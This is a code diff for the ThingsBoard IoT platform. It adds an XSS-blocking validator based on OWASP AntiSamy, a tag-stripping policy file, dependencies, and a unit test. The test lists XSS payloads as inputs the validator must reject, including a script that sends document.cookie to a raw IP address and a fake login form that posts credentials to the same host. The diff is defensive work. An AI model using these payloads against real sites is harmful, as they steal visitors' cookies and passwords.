29 | import java.util.function.Function; | 37 | import java.util.function.Function; |
30 | import java.util.regex.Matcher; | 38 | import java.util.regex.Matcher; |
31 | import java.util.regex.Pattern; | 39 | import java.util.regex.Pattern; |
40 | +import java.util.stream.Collectors; | ||
32 | 41 | ||
33 | @Slf4j | 42 | @Slf4j |
34 | public abstract class DataValidator<D extends BaseData<?>> { | 43 | public abstract class DataValidator<D extends BaseData<?>> { |
35 | private static final Pattern EMAIL_PATTERN = | 44 | private static final Pattern EMAIL_PATTERN = |
36 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); | 45 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); |
37 | 46 | ||
47 | + private static Validator fieldsValidator; | ||
48 | + | ||
49 | + static { | ||
50 | + initializeFieldsValidator(); | ||
51 | + } | ||
52 | + | ||
38 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { | 53 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { |
39 | try { | 54 | try { |
40 | if (data == null) { | 55 | if (data == null) { |
41 | throw new DataValidationException("Data object can't be null!"); | 56 | throw new DataValidationException("Data object can't be null!"); |
42 | } | 57 | } |
58 | + | ||
59 | + List<String> validationErrors = validateFields(data); | ||
60 | + if (!validationErrors.isEmpty()) { | ||
61 | + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors)); | ||
62 | + } | ||
63 | + | ||
43 | TenantId tenantId = tenantIdFunction.apply(data); | 64 | TenantId tenantId = tenantIdFunction.apply(data); |
44 | validateDataImpl(tenantId, data); | 65 | validateDataImpl(tenantId, data); |
45 | if (data.getId() == null) { | 66 | if (data.getId() == null) { |
@@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { | @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { | ||
81 | return emailMatcher.matches(); | 102 | return emailMatcher.matches(); |
82 | } | 103 | } |
83 | 104 | ||
105 | + private List<String> validateFields(D data) { | ||
106 | + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data); | ||
107 | + return constraintsViolations.stream() | ||
108 | + .map(ConstraintViolation::getMessage) | ||
109 | + .distinct() | ||
110 | + .collect(Collectors.toList()); | ||
111 | + } | ||
112 | + | ||
84 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, | 113 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, |
85 | TenantEntityDao tenantEntityDao, | 114 | TenantEntityDao tenantEntityDao, |
86 | long maxEntities, | 115 | long maxEntities, |
@@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { | @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { | ||
111 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); | 140 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); |
112 | } | 141 | } |
113 | } | 142 | } |
143 | + | ||
144 | + private static void initializeFieldsValidator() { | ||
145 | + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure(); | ||
146 | + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping(); | ||
147 | + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class); | ||
148 | + validatorConfiguration.addMapping(constraintMapping); | ||
149 | + | ||
150 | + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator(); | ||
151 | + } | ||
114 | } | 152 | } |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.dao.service; | ||
17 | + | ||
18 | +import com.google.common.io.Resources; | ||
19 | +import lombok.extern.slf4j.Slf4j; | ||
20 | +import org.owasp.validator.html.AntiSamy; | ||
21 | +import org.owasp.validator.html.Policy; | ||
22 | +import org.owasp.validator.html.PolicyException; | ||
23 | +import org.owasp.validator.html.ScanException; | ||
24 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
25 | + | ||
26 | +import javax.validation.ConstraintValidator; | ||
27 | +import javax.validation.ConstraintValidatorContext; | ||
28 | + | ||
29 | +@Slf4j | ||
30 | +public class NoXssValidator implements ConstraintValidator<NoXss, Object> { | ||
31 | + private static final AntiSamy xssChecker = new AntiSamy(); | ||
32 | + private static Policy xssPolicy; | ||
33 | + | ||
34 | + @Override | ||
35 | + public void initialize(NoXss constraintAnnotation) { | ||
36 | + if (xssPolicy == null) { | ||
37 | + try { | ||
38 | + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); | ||
39 | + } catch (Exception e) { | ||
40 | + log.error("Failed to set xss policy: {}", e.getMessage()); | ||
41 | + } | ||
42 | + } | ||
43 | + } | ||
44 | + | ||
45 | + @Override | ||
46 | + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { | ||
47 | + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { | ||
48 | + return true; | ||
49 | + } | ||
50 | + | ||
51 | + try { | ||
52 | + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; | ||
53 | + } catch (ScanException | PolicyException e) { | ||
54 | + return false; | ||
55 | + } | ||
56 | + } | ||
57 | +} |
dao/src/main/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | ||
2 | +<!-- | ||
3 | + | ||
4 | + Copyright © 2016-2021 The Thingsboard Authors | ||
5 | + | ||
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | ||
7 | + you may not use this file except in compliance with the License. | ||
8 | + You may obtain a copy of the License at | ||
9 | + | ||
10 | + http://www.apache.org/licenses/LICENSE-2.0 | ||
11 | + | ||
12 | + Unless required by applicable law or agreed to in writing, software | ||
13 | + distributed under the License is distributed on an "AS IS" BASIS, | ||
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
15 | + See the License for the specific language governing permissions and | ||
16 | + limitations under the License. | ||
17 | + | ||
18 | +--> | ||
19 | +<anti-samy-rules> | ||
20 | + | ||
21 | + <directives> | ||
22 | + <directive name="omitXmlDeclaration" value="true"/> | ||
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | ||
24 | + <directive name="maxInputSize" value="100000"/> | ||
25 | + <directive name="embedStyleSheets" value="false"/> | ||
26 | + <directive name="useXHTML" value="true"/> | ||
27 | + <directive name="formatOutput" value="true"/> | ||
28 | + </directives> | ||
29 | + | ||
30 | + <common-regexps> | ||
31 | + | ||
32 | + <!-- | ||
33 | + From W3C: | ||
34 | + This attribute assigns a class name or set of class names to an | ||
35 | + element. Any number of elements may be assigned the same class | ||
36 | + name or names. Multiple class names must be separated by white | ||
37 | + space characters. | ||
38 | + --> | ||
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | ||
40 | + | ||
41 | + <!-- force non-empty with a '+' at the end instead of '*' | ||
42 | + --> | ||
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | ||
44 | + | ||
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | ||
46 | + --> | ||
47 | + | ||
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | ||
49 | + --> | ||
50 | + <regexp name="offsiteURL" | ||
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | ||
52 | + </common-regexps> | ||
53 | + | ||
54 | + <common-attributes> | ||
55 | + | ||
56 | + <attribute name="lang" | ||
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | ||
58 | + | ||
59 | + <regexp-list> | ||
60 | + <regexp value="[a-zA-Z]{2,20}"/> | ||
61 | + </regexp-list> | ||
62 | + </attribute> | ||
63 | + | ||
64 | + <attribute name="title" | ||
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | ||
66 | + | ||
67 | + <regexp-list> | ||
68 | + <regexp name="htmlTitle"/> | ||
69 | + </regexp-list> | ||
70 | + </attribute> | ||
71 | + | ||
72 | + <attribute name="href" onInvalid="filterTag"> | ||
73 | + | ||
74 | + <regexp-list> | ||
75 | + <regexp name="onsiteURL"/> | ||
76 | + <regexp name="offsiteURL"/> | ||
77 | + </regexp-list> | ||
78 | + </attribute> | ||
79 | + | ||
80 | + <attribute name="align" | ||
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | ||
82 | + | ||
83 | + <literal-list> | ||
84 | + <literal value="center"/> | ||
85 | + <literal value="left"/> | ||
86 | + <literal value="right"/> | ||
87 | + <literal value="justify"/> | ||
88 | + <literal value="char"/> | ||
89 | + </literal-list> | ||
90 | + </attribute> | ||
91 | + <attribute name="style" | ||
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | ||
93 | + </common-attributes> | ||
94 | + | ||
95 | + <global-tag-attributes> | ||
96 | + <attribute name="title"/> | ||
97 | + <attribute name="lang"/> | ||
98 | + <attribute name="style"/> | ||
99 | + </global-tag-attributes> | ||
100 | + | ||
101 | + <tags-to-encode> | ||
102 | + <tag>g</tag> | ||
103 | + <tag>grin</tag> | ||
104 | + </tags-to-encode> | ||
105 | + | ||
106 | + <tag-rules> | ||
107 | + | ||
108 | + <tag name="script" action="remove"/> | ||
109 | + <tag name="noscript" action="remove"/> | ||
110 | + <tag name="iframe" action="remove"/> | ||
111 | + <tag name="frameset" action="remove"/> | ||
112 | + <tag name="frame" action="remove"/> | ||
113 | + <tag name="noframes" action="remove"/> | ||
114 | + <tag name="head" action="remove"/> | ||
115 | + <tag name="title" action="remove"/> | ||
116 | + <tag name="base" action="remove"/> | ||
117 | + <tag name="style" action="remove"/> | ||
118 | + <tag name="link" action="remove"/> | ||
119 | + <tag name="input" action="remove"/> | ||
120 | + <tag name="textarea" action="remove"/> | ||
121 | + | ||
122 | + <tag name="br" action="remove"/> | ||
123 | + | ||
124 | + <tag name="p" action="remove"/> | ||
125 | + <tag name="div" action="remove"/> | ||
126 | + <tag name="span" action="remove"/> | ||
127 | + <tag name="i" action="remove"/> | ||
128 | + <tag name="b" action="remove"/> | ||
129 | + <tag name="strong" action="remove"/> | ||
130 | + <tag name="s" action="remove"/> | ||
131 | + <tag name="strike" action="remove"/> | ||
132 | + <tag name="u" action="remove"/> | ||
133 | + <tag name="em" action="remove"/> | ||
134 | + <tag name="blockquote" action="remove"/> | ||
135 | + <tag name="tt" action="remove"/> | ||
136 | + | ||
137 | + <tag name="a" action="remove"/> | ||
138 | + | ||
139 | + <tag name="ul" action="remove"/> | ||
140 | + <tag name="ol" action="remove"/> | ||
141 | + <tag name="li" action="remove"/> | ||
142 | + <tag name="dl" action="remove"/> | ||
143 | + <tag name="dt" action="remove"/> | ||
144 | + <tag name="dd" action="remove"/> | ||
145 | + </tag-rules> | ||
146 | + | ||
147 | + <css-rules> | ||
148 | + <property name="text-decoration" default="none" | ||
149 | + description=""> | ||
150 | + | ||
151 | + <category-list> | ||
152 | + <category value="visual"/> | ||
153 | + </category-list> | ||
154 | + | ||
155 | + <literal-list> | ||
156 | + <literal value="underline"/> | ||
157 | + <literal value="overline"/> | ||
158 | + <literal value="line-through"/> | ||
159 | + </literal-list> | ||
160 | + </property> | ||
161 | + </css-rules> | ||
162 | +</anti-samy-rules> |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.dao.service; | ||
17 | + | ||
18 | +import org.junit.jupiter.api.BeforeAll; | ||
19 | +import org.junit.jupiter.params.ParameterizedTest; | ||
20 | +import org.junit.jupiter.params.provider.ValueSource; | ||
21 | + | ||
22 | +import javax.validation.ConstraintValidatorContext; | ||
23 | + | ||
24 | +import static org.junit.jupiter.api.Assertions.assertFalse; | ||
25 | +import static org.mockito.Mockito.mock; | ||
26 | + | ||
27 | +public class NoXssValidatorTest { | ||
28 | + private static NoXssValidator validator; | ||
29 | + | ||
30 | + @BeforeAll | ||
31 | + public static void beforeAll() { | ||
32 | + validator = new NoXssValidator(); | ||
33 | + validator.initialize(null); | ||
34 | + } | ||
35 | + | ||
36 | + @ParameterizedTest | ||
37 | + @ValueSource(strings = { | ||
38 | + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", | ||
39 | + "9090<body onload=alert('xsssss')>90909", | ||
40 | + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", | ||
41 | + "bambam<script>alert(document.cookie)</script>", | ||
42 | + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", | ||
43 | + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", | ||
44 | + " <img src= \"http://site.com/\" > ", | ||
45 | + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", | ||
46 | + }) | ||
47 | + public void testIsNotValid(String stringWithXss) { | ||
48 | + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); | ||
49 | + assertFalse(isValid); | ||
50 | + } | ||
51 | + | ||
52 | +} |
dao/src/test/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | ||
2 | +<!-- | ||
3 | + | ||
4 | + Copyright © 2016-2021 The Thingsboard Authors | ||
5 | + | ||
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | ||
7 | + you may not use this file except in compliance with the License. | ||
8 | + You may obtain a copy of the License at | ||
9 | + | ||
10 | + http://www.apache.org/licenses/LICENSE-2.0 | ||
11 | + | ||
12 | + Unless required by applicable law or agreed to in writing, software | ||
13 | + distributed under the License is distributed on an "AS IS" BASIS, | ||
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
15 | + See the License for the specific language governing permissions and | ||
16 | + limitations under the License. | ||
17 | + | ||
18 | +--> | ||
19 | +<anti-samy-rules> | ||
20 | + | ||
21 | + <directives> | ||
22 | + <directive name="omitXmlDeclaration" value="true"/> | ||
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | ||
24 | + <directive name="maxInputSize" value="100000"/> | ||
25 | + <directive name="embedStyleSheets" value="false"/> | ||
26 | + <directive name="useXHTML" value="true"/> | ||
27 | + <directive name="formatOutput" value="true"/> | ||
28 | + </directives> | ||
29 | + | ||
30 | + <common-regexps> | ||
31 | + | ||
32 | + <!-- | ||
33 | + From W3C: | ||
34 | + This attribute assigns a class name or set of class names to an | ||
35 | + element. Any number of elements may be assigned the same class | ||
36 | + name or names. Multiple class names must be separated by white | ||
37 | + space characters. | ||
38 | + --> | ||
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | ||
40 | + | ||
41 | + <!-- force non-empty with a '+' at the end instead of '*' | ||
42 | + --> | ||
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | ||
44 | + | ||
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | ||
46 | + --> | ||
47 | + | ||
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | ||
49 | + --> | ||
50 | + <regexp name="offsiteURL" | ||
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | ||
52 | + </common-regexps> | ||
53 | + | ||
54 | + <common-attributes> | ||
55 | + | ||
56 | + <attribute name="lang" | ||
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | ||
58 | + | ||
59 | + <regexp-list> | ||
60 | + <regexp value="[a-zA-Z]{2,20}"/> | ||
61 | + </regexp-list> | ||
62 | + </attribute> | ||
63 | + | ||
64 | + <attribute name="title" | ||
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | ||
66 | + | ||
67 | + <regexp-list> | ||
68 | + <regexp name="htmlTitle"/> | ||
69 | + </regexp-list> | ||
70 | + </attribute> | ||
71 | + | ||
72 | + <attribute name="href" onInvalid="filterTag"> | ||
73 | + | ||
74 | + <regexp-list> | ||
75 | + <regexp name="onsiteURL"/> | ||
76 | + <regexp name="offsiteURL"/> | ||
77 | + </regexp-list> | ||
78 | + </attribute> | ||
79 | + | ||
80 | + <attribute name="align" | ||
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | ||
82 | + | ||
83 | + <literal-list> | ||
84 | + <literal value="center"/> | ||
85 | + <literal value="left"/> | ||
86 | + <literal value="right"/> | ||
87 | + <literal value="justify"/> | ||
88 | + <literal value="char"/> | ||
89 | + </literal-list> | ||
90 | + </attribute> | ||
91 | + <attribute name="style" | ||
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | ||
93 | + </common-attributes> | ||
94 | + | ||
95 | + <global-tag-attributes> | ||
96 | + <attribute name="title"/> | ||
97 | + <attribute name="lang"/> | ||
98 | + <attribute name="style"/> | ||
99 | + </global-tag-attributes> | ||
100 | + | ||
101 | + <tags-to-encode> | ||
102 | + <tag>g</tag> | ||
103 | + <tag>grin</tag> | ||
104 | + </tags-to-encode> | ||
105 | + | ||
106 | + <tag-rules> | ||
107 | + | ||
108 | + <tag name="script" action="remove"/> | ||
109 | + <tag name="noscript" action="remove"/> | ||
110 | + <tag name="iframe" action="remove"/> | ||
111 | + <tag name="frameset" action="remove"/> | ||
112 | + <tag name="frame" action="remove"/> | ||
113 | + <tag name="noframes" action="remove"/> | ||
114 | + <tag name="head" action="remove"/> | ||
115 | + <tag name="title" action="remove"/> | ||
116 | + <tag name="base" action="remove"/> | ||
117 | + <tag name="style" action="remove"/> | ||
118 | + <tag name="link" action="remove"/> | ||
119 | + <tag name="input" action="remove"/> | ||
120 | + <tag name="textarea" action="remove"/> | ||
121 | + | ||
122 | + <tag name="br" action="remove"/> | ||
123 | + | ||
124 | + <tag name="p" action="remove"/> | ||
125 | + <tag name="div" action="remove"/> | ||
126 | + <tag name="span" action="remove"/> | ||
127 | + <tag name="i" action="remove"/> | ||
128 | + <tag name="b" action="remove"/> | ||
129 | + <tag name="strong" action="remove"/> | ||
130 | + <tag name="s" action="remove"/> | ||
131 | + <tag name="strike" action="remove"/> | ||
132 | + <tag name="u" action="remove"/> | ||
133 | + <tag name="em" action="remove"/> | ||
134 | + <tag name="blockquote" action="remove"/> | ||
135 | + <tag name="tt" action="remove"/> | ||
136 | + | ||
137 | + <tag name="a" action="remove"/> | ||
138 | + | ||
139 | + <tag name="ul" action="remove"/> | ||
140 | + <tag name="ol" action="remove"/> | ||
141 | + <tag name="li" action="remove"/> | ||
142 | + <tag name="dl" action="remove"/> | ||
143 | + <tag name="dt" action="remove"/> | ||
144 | + <tag name="dd" action="remove"/> | ||
145 | + </tag-rules> | ||
146 | + | ||
147 | + <css-rules> | ||
148 | + <property name="text-decoration" default="none" | ||
149 | + description=""> | ||
150 | + | ||
151 | + <category-list> | ||
152 | + <category value="visual"/> | ||
153 | + </category-list> | ||
154 | + | ||
155 | + <literal-list> | ||
156 | + <literal value="underline"/> | ||
157 | + <literal value="overline"/> | ||
158 | + <literal value="line-through"/> | ||
159 | + </literal-list> | ||
160 | + </property> | ||
161 | + </css-rules> | ||
162 | +</anti-samy-rules> |
@@ -47,6 +47,7 @@ | @@ -47,6 +47,7 @@ | ||
47 | <jjwt.version>0.7.0</jjwt.version> | 47 | <jjwt.version>0.7.0</jjwt.version> |
48 | <json-path.version>2.2.0</json-path.version> | 48 | <json-path.version>2.2.0</json-path.version> |
49 | <junit.version>4.12</junit.version> | 49 | <junit.version>4.12</junit.version> |
50 | + <jupiter.version>5.7.1</jupiter.version> | ||
50 | <slf4j.version>1.7.7</slf4j.version> | 51 | <slf4j.version>1.7.7</slf4j.version> |
51 | <logback.version>1.2.3</logback.version> | 52 | <logback.version>1.2.3</logback.version> |
52 | <mockito.version>3.3.3</mockito.version> | 53 | <mockito.version>3.3.3</mockito.version> |
@@ -113,6 +114,10 @@ | @@ -113,6 +114,10 @@ | ||
113 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> | 114 | <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> |
114 | <wire-schema.version>3.4.0</wire-schema.version> | 115 | <wire-schema.version>3.4.0</wire-schema.version> |
115 | <twilio.version>7.54.2</twilio.version> | 116 | <twilio.version>7.54.2</twilio.version> |
117 | + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version> | ||
118 | + <javax.el.version>3.0.0</javax.el.version> | ||
119 | + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version> | ||
120 | + <antisamy.version>1.6.2</antisamy.version> | ||
116 | </properties> | 121 | </properties> |
117 | 122 | ||
118 | <modules> | 123 | <modules> |
@@ -1262,6 +1267,12 @@ | @@ -1262,6 +1267,12 @@ | ||
1262 | <scope>test</scope> | 1267 | <scope>test</scope> |
1263 | </dependency> | 1268 | </dependency> |
1264 | <dependency> | 1269 | <dependency> |
1270 | + <groupId>org.junit.jupiter</groupId> | ||
1271 | + <artifactId>junit-jupiter-params</artifactId> | ||
1272 | + <version>${jupiter.version}</version> | ||
1273 | + <scope>test</scope> | ||
1274 | + </dependency> | ||
1275 | + <dependency> | ||
1265 | <groupId>org.dbunit</groupId> | 1276 | <groupId>org.dbunit</groupId> |
1266 | <artifactId>dbunit</artifactId> | 1277 | <artifactId>dbunit</artifactId> |
1267 | <version>${dbunit.version}</version> | 1278 | <version>${dbunit.version}</version> |
@@ -1458,6 +1469,36 @@ | @@ -1458,6 +1469,36 @@ | ||
1458 | </exclusion> | 1469 | </exclusion> |
1459 | </exclusions> | 1470 | </exclusions> |
1460 | </dependency> | 1471 | </dependency> |
1472 | + <dependency> | ||
1473 | + <groupId>org.hibernate.validator</groupId> | ||
1474 | + <artifactId>hibernate-validator</artifactId> | ||
1475 | + <version>${hibernate-validator.version}</version> | ||
1476 | + </dependency> | ||
1477 | + <dependency> | ||
1478 | + <groupId>org.glassfish</groupId> | ||
1479 | + <artifactId>javax.el</artifactId> | ||
1480 | + <version>${javax.el.version}</version> | ||
1481 | + </dependency> | ||
1482 | + <dependency> | ||
1483 | + <groupId>javax.validation</groupId> | ||
1484 | + <artifactId>validation-api</artifactId> | ||
1485 | + <version>${javax.validation-api.version}</version> | ||
1486 | + </dependency> | ||
1487 | + <dependency> | ||
1488 | + <groupId>org.owasp.antisamy</groupId> | ||
1489 | + <artifactId>antisamy</artifactId> | ||
1490 | + <version>${antisamy.version}</version> | ||
1491 | + <exclusions> | ||
1492 | + <exclusion> | ||
1493 | + <groupId>org.slf4j</groupId> | ||
1494 | + <artifactId>*</artifactId> | ||
1495 | + </exclusion> | ||
1496 | + <exclusion> | ||
1497 | + <groupId>com.github.spotbugs</groupId> | ||
1498 | + <artifactId>spotbugs-annotations</artifactId> | ||
1499 | + </exclusion> | ||
1500 | + </exclusions> | ||
1501 | + </dependency> | ||
1461 | </dependencies> | 1502 | </dependencies> |
1462 | </dependencyManagement> | 1503 | </dependencyManagement> |
1463 | 1504 |